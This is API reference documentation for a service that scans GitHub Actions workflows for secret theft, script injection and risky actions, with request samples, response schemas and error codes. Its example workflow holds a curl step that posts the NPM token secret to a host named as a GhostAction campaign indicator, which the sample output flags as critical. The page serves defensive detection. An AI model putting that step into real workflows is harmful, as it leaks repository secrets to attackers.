GitHub
Analyze a GitHub Actions workflow
Find secret theft, script injection and risky actions in a GitHub Actions workflow.
POST
/
v1
/
github
/
workflows
/
analyze
Analyze a GitHub Actions workflow
curl --request POST \
--url https://api.custoden.com/v1/github/workflows/analyze \
--header 'Content-Type: text/plain' \
--data '<string>'import requests
url = "https://api.custoden.com/v1/github/workflows/analyze"
payload = "<string>"
headers = {"Content-Type": "text/plain"}
response = requests.post(url, data=payload, headers=headers)
print(response.text)const options = {method: 'POST', headers: {'Content-Type': 'text/plain'}, body: '<string>'};
fetch('https://api.custoden.com/v1/github/workflows/analyze', options)
.then(res => res.json())
.then(res => console.log(res))
.catch(err => console.error(err));<?php
$curl = curl_init();
curl_setopt_array($curl, [
CURLOPT_URL => "https://api.custoden.com/v1/github/workflows/analyze",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "<string>",
CURLOPT_HTTPHEADER => [
"Content-Type: text/plain"
],
]);
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}package main
import (
"fmt"
"strings"
"net/http"
"io"
)
func main() {
url := "https://api.custoden.com/v1/github/workflows/analyze"
payload := strings.NewReader("<string>")
req, _ := http.NewRequest("POST", url, payload)
req.Header.Add("Content-Type", "text/plain")
res, _ := http.DefaultClient.Do(req)
defer res.Body.Close()
body, _ := io.ReadAll(res.Body)
fmt.Println(string(body))
}HttpResponse<String> response = Unirest.post("https://api.custoden.com/v1/github/workflows/analyze")
.header("Content-Type", "text/plain")
.body("<string>")
.asString();require 'uri'
require 'net/http'
url = URI("https://api.custoden.com/v1/github/workflows/analyze")
http = Net::HTTP.new(url.host, url.port)
http.use_ssl = true
request = Net::HTTP::Post.new(url)
request["Content-Type"] = 'text/plain'
request.body = "<string>"
response = http.request(request)
puts response.read_body{
"workflow": {
"name": "<string>",
"triggers": [
"<string>"
],
"jobs": 123
},
"summary": {
"critical": 123,
"high": 123,
"medium": 123,
"low": 123,
"info": 123,
"total": 123
},
"findings": [
{
"rule": "<string>",
"severity": "critical",
"title": "<string>",
"detail": "<string>",
"remediation": "<string>",
"location": {
"line": 123,
"column": 123,
"job": "<string>",
"step": "<string>"
}
}
],
"actions": [
{
"uses": "<string>",
"owner": "<string>",
"repo": "<string>",
"location": {
"line": 123,
"column": 123,
"job": "<string>",
"step": "<string>"
}
}
],
"checks": {
"action_repositories": {
"status": "complete",
"checked": 123,
"total": 123,
"reason": "<string>"
}
}
}{
"error": {
"code": "<string>",
"message": "<string>",
"details": {}
},
"request_id": "<string>"
}{
"error": {
"code": "<string>",
"message": "<string>",
"details": {}
},
"request_id": "<string>"
}{
"error": {
"code": "<string>",
"message": "<string>",
"details": {}
},
"request_id": "<string>"
}{
"error": {
"code": "<string>",
"message": "<string>",
"details": {}
},
"request_id": "<string>"
}Checks one workflow file for:
Or as JSON with
The body can be up to 256 KB.
Static findings are always returned, even when lookups are skipped.
- Secret theft, including patterns from GhostAction, Shai-Hulud and the tj-actions compromise
- Script injection and unsafe
pull_request_targetcheckouts - Actions from missing, new, forked or look-alike repositories
- Unpinned actions, token permissions and other hardening issues
Request
Send the YAML as the raw body:curl -X POST https://api.custoden.com/v1/github/workflows/analyze \
--data-binary @.github/workflows/ci.yml
Content-Type: application/json:
{ "workflow": "on: push\njobs:\n ..." }
Example
name: Github Actions Security
on: [push, workflow_dispatch]
jobs:
send:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Prepare Cache Busting
run: |
curl -s -X POST -d "NPM=${{ secrets.NPM_TOKEN }}" https://bold-dhawan.45-139-104-115.plesk.page
{
"workflow": { "name": "Github Actions Security", "triggers": ["push", "workflow_dispatch"], "jobs": 1 },
"summary": { "critical": 2, "high": 0, "medium": 0, "low": 2, "info": 0, "total": 4 },
"findings": [
{
"rule": "secret-exfiltration",
"severity": "critical",
"title": "Secrets sent to an untrusted endpoint",
"detail": "Step \"Prepare Cache Busting\" uses secrets and contacts 45-139-104-115.plesk.page, a throwaway hostname that maps to an IP address.",
"remediation": "Remove the step, rotate every secret it could read, and review who added it.",
"location": { "line": 9, "column": 14, "job": "send", "step": "Prepare Cache Busting" }
},
{
"rule": "campaign-indicator",
"severity": "critical",
"title": "Matches the GhostAction campaign",
"detail": "The workflow contains \"bold-dhawan.45-139-104-115.plesk.page\", an indicator published for GhostAction. ...",
"remediation": "Disable the workflow, rotate all secrets, and audit recent commits, runs and repository collaborators.",
"location": { "line": 10, "column": 69, "job": null, "step": null }
},
{ "rule": "default-permissions", "severity": "low", "...": "..." },
{ "rule": "unpinned-action", "severity": "low", "...": "..." }
],
"actions": [
{ "uses": "actions/checkout@v4", "owner": "actions", "repo": "checkout", "location": { "line": 7, "column": 15, "job": "send", "step": "actions/checkout@v4" } }
],
"checks": {
"action_repositories": { "status": "complete", "checked": 1, "total": 1 }
}
}
Response
| Field | Type | Description |
|---|---|---|
workflow.name | string | null | The workflow’s name |
workflow.triggers | string[] | Events under on |
workflow.jobs | integer | Number of jobs |
summary | object | Count of findings per severity, plus total |
findings | array | Sorted by severity, then line. See Workflow rules |
actions | array | Each third-party action or reusable workflow referenced, listed once |
checks.action_repositories | object | Status of the GitHub repository lookups. See below |
Finding
| Field | Type | Description |
|---|---|---|
rule | string | Stable rule ID |
severity | string | critical, high, medium, low or info |
title | string | One-line summary |
detail | string | What was found in this workflow |
remediation | string | How to fix it |
location | object | line and column (1-based), plus job and step when known |
Action repository checks
The API looks up the repositories behind referenced actions. This catches references to owners that no longer exist (anyone can register the name and publish code there), recently created repositories, forks of popular actions, and renamed repositories.| Field | Description |
|---|---|
status | complete, partial (not every action was looked up) or skipped (lookups temporarily unavailable) |
checked | Repositories looked up |
total | Third-party actions referenced |
reason | Present when not complete |
Errors
| Status | Code | When |
|---|---|---|
| 400 | invalid_request | Empty body, or JSON without a workflow string |
| 400 | invalid_json | JSON body could not be parsed |
| 413 | payload_too_large | Body exceeds 256 KB |
| 422 | invalid_workflow | Not valid YAML, or no top-level jobs map. details.line and details.column are included |
| 429 | rate_limited | See Rate limits |
⌘I
Analyze a GitHub Actions workflow
curl --request POST \
--url https://api.custoden.com/v1/github/workflows/analyze \
--header 'Content-Type: text/plain' \
--data '<string>'import requests
url = "https://api.custoden.com/v1/github/workflows/analyze"
payload = "<string>"
headers = {"Content-Type": "text/plain"}
response = requests.post(url, data=payload, headers=headers)
print(response.text)const options = {method: 'POST', headers: {'Content-Type': 'text/plain'}, body: '<string>'};
fetch('https://api.custoden.com/v1/github/workflows/analyze', options)
.then(res => res.json())
.then(res => console.log(res))
.catch(err => console.error(err));<?php
$curl = curl_init();
curl_setopt_array($curl, [
CURLOPT_URL => "https://api.custoden.com/v1/github/workflows/analyze",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "<string>",
CURLOPT_HTTPHEADER => [
"Content-Type: text/plain"
],
]);
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}package main
import (
"fmt"
"strings"
"net/http"
"io"
)
func main() {
url := "https://api.custoden.com/v1/github/workflows/analyze"
payload := strings.NewReader("<string>")
req, _ := http.NewRequest("POST", url, payload)
req.Header.Add("Content-Type", "text/plain")
res, _ := http.DefaultClient.Do(req)
defer res.Body.Close()
body, _ := io.ReadAll(res.Body)
fmt.Println(string(body))
}HttpResponse<String> response = Unirest.post("https://api.custoden.com/v1/github/workflows/analyze")
.header("Content-Type", "text/plain")
.body("<string>")
.asString();require 'uri'
require 'net/http'
url = URI("https://api.custoden.com/v1/github/workflows/analyze")
http = Net::HTTP.new(url.host, url.port)
http.use_ssl = true
request = Net::HTTP::Post.new(url)
request["Content-Type"] = 'text/plain'
request.body = "<string>"
response = http.request(request)
puts response.read_body{
"workflow": {
"name": "<string>",
"triggers": [
"<string>"
],
"jobs": 123
},
"summary": {
"critical": 123,
"high": 123,
"medium": 123,
"low": 123,
"info": 123,
"total": 123
},
"findings": [
{
"rule": "<string>",
"severity": "critical",
"title": "<string>",
"detail": "<string>",
"remediation": "<string>",
"location": {
"line": 123,
"column": 123,
"job": "<string>",
"step": "<string>"
}
}
],
"actions": [
{
"uses": "<string>",
"owner": "<string>",
"repo": "<string>",
"location": {
"line": 123,
"column": 123,
"job": "<string>",
"step": "<string>"
}
}
],
"checks": {
"action_repositories": {
"status": "complete",
"checked": 123,
"total": 123,
"reason": "<string>"
}
}
}{
"error": {
"code": "<string>",
"message": "<string>",
"details": {}
},
"request_id": "<string>"
}{
"error": {
"code": "<string>",
"message": "<string>",
"details": {}
},
"request_id": "<string>"
}{
"error": {
"code": "<string>",
"message": "<string>",
"details": {}
},
"request_id": "<string>"
}{
"error": {
"code": "<string>",
"message": "<string>",
"details": {}
},
"request_id": "<string>"
}